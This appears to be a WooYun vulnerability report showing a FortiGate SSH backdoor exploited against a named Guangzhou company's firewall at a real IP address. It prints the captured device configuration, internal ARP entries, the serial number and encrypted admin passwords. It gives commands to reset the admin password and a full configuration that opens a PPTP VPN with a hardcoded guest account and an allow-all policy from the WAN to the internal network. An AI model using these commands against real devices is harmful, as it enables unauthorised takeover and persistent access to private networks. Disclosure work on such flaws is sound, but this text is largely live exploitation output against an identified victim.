WooYun.org

ip:202.105.46.58
该FortiGate防火墙存在SSH后门
查了下whois
确认是世纪龙信息网络有限责任公司的
WHOIS Results for 202.105.46.58
inetnum: 202.105.46.0 - 202.105.46.255
netname: GUANGZHOU-SHIJILONG-INFOR-CO
descr: GUANGZHOU SHIJILONG INFORMATION CO.
country: CN
admin-c: CX204-AP
tech-c: CX204-AP
status: ASSIGNED NON-PORTABLE
changed: ipadm@gddc.com.cn 20041122
mnt-by: MAINT-CHINANET-GD
source: APNIC
root@bt:/var/www# python ft.py 202.105.46.58
BC_GZ_60C # show user group
config user group
edit "FSSO_Guest_Users"
set group-type fsso-service
next
edit "Guest-group"
set member "guest"
next
edit "admi_opt_G"
set member "admin_branch"
next
end
BC_GZ_60C # get sys arp
Address Age(min) Hardware Addr Interface
192.168.1.100 11 c0:3f:d5:e3:3d:e8 internal
192.168.1.101 7 c0:3f:d5:e4:38:0c internal
192.168.2.111 0 a0:86:c6:0b:53:38 wifi
192.168.2.113 0 5c:f7:c3:70:8a:3a wifi
202.105.46.57 0 00:25:ba:e9:c5:83 wan1
BC_GZ_60C # get system status
Version: FortiWiFi-60C v5.0,build0271,140124 (GA Patch 6)
Virus-DB: 16.00560(2012-10-19 08:31)
Extended DB: 1.00000(2012-10-17 15:46)
IPS-DB: 4.00345(2013-05-23 00:39)
IPS-ETDB: 0.00000(2001-01-01 00:00)
Serial-Number: FWF60C3G13006372
Botnet DB: 1.00000(2012-05-28 22:51)
BIOS version: 04000031
System Part-Number: P08947-06
Log hard disk: Available
Internal Switch mode: switch
Hostname: BC_GZ_60C
Operation Mode: NAT
Current virtual domain: root
Max number of virtual domains: 10
Virtual domains status: 1 in NAT mode, 0 in TP mode
Virtual domain configuration: disable
FIPS-CC mode: disable
Current HA mode: standalone
Branch point: 271
Release Version Information: GA Patch 6
System time: Wed Jan 20 18:56:54 2016
BC_GZ_60C # show system admin
config system admin
edit "admin"
set accprofile "super_admin"
set vdom "root"
config dashboard-tabs
edit 1
set name "Status"
next
edit 2
set columns 1
set name "Top Sources"
next
edit 3
set columns 1
set name "Top Destinations"
next
edit 4
set columns 1
set name "Top Applications"
next
end
config dashboard
edit 1
set tab-id 1
set column 1
next
edit 2
set widget-type licinfo
set tab-id 1
set column 1
next
edit 3
set widget-type sysres
set tab-id 1
set column 2
next
edit 42
set widget-type gui-features
set tab-id 1
set column 2
next
edit 4
set widget-type jsconsole
set tab-id 1
set column 2
next
edit 5
set widget-type alert
set tab-id 1
set column 2
set top-n 10
next
edit 21
set widget-type sessions
set tab-id 2
set column 1
set top-n 25
set sort-by msg-counts
next
edit 31
set widget-type sessions
set tab-id 3
set column 1
set top-n 25
set sort-by msg-counts
set report-by destination
next
edit 41
set widget-type sessions
set tab-id 4
set column 1
set top-n 25
set sort-by msg-counts
set report-by application
next
end
set password ENC AK1c6/7vU6fy5GXrH2O4eWJuer77FlPff9GGE8qWEXfkv4=
next
edit "admin_branch"
set accprofile "opr_admin"
set vdom "root"
config dashboard
edit 1
set widget-type gui-features
set tab-id 1
set column 2
next
end
set password ENC AK1c0b+ocn3KOdTKwaid97NzcK/1hX+4UQeED1Kgt7RjgI=
next
end
可任意重置管理员密码！
具体命令config system admin
edit admin
set password ****
end
重置后即可登录
为了不危及业务安全，这里不深入了
具体可参考： WooYun: superalloy巧新科技FortiGate防火墻後門可登錄VPN
利用脚本
http://seclists.org/fulldisclosure/2016/Jan/26
另外可以建立vpn
代码如下：
config vpn pptp
set status enable
set eip 192.168.200.100
set sip 192.168.200.1
set usrgrp Guest-group
end
config user local
edit "guest"
set type password
set passwd vvppnn112233
next
end
config user group
edit "Guest-group"
set profile "unfiltered"
set member "guest"
next
end
config firewall policy
edit 9
set srcintf "wan1"
set dstintf "internal"
set srcaddr "all"
set dstaddr "all"
set action accept
set schedule "always"
set service "ANY"
next
end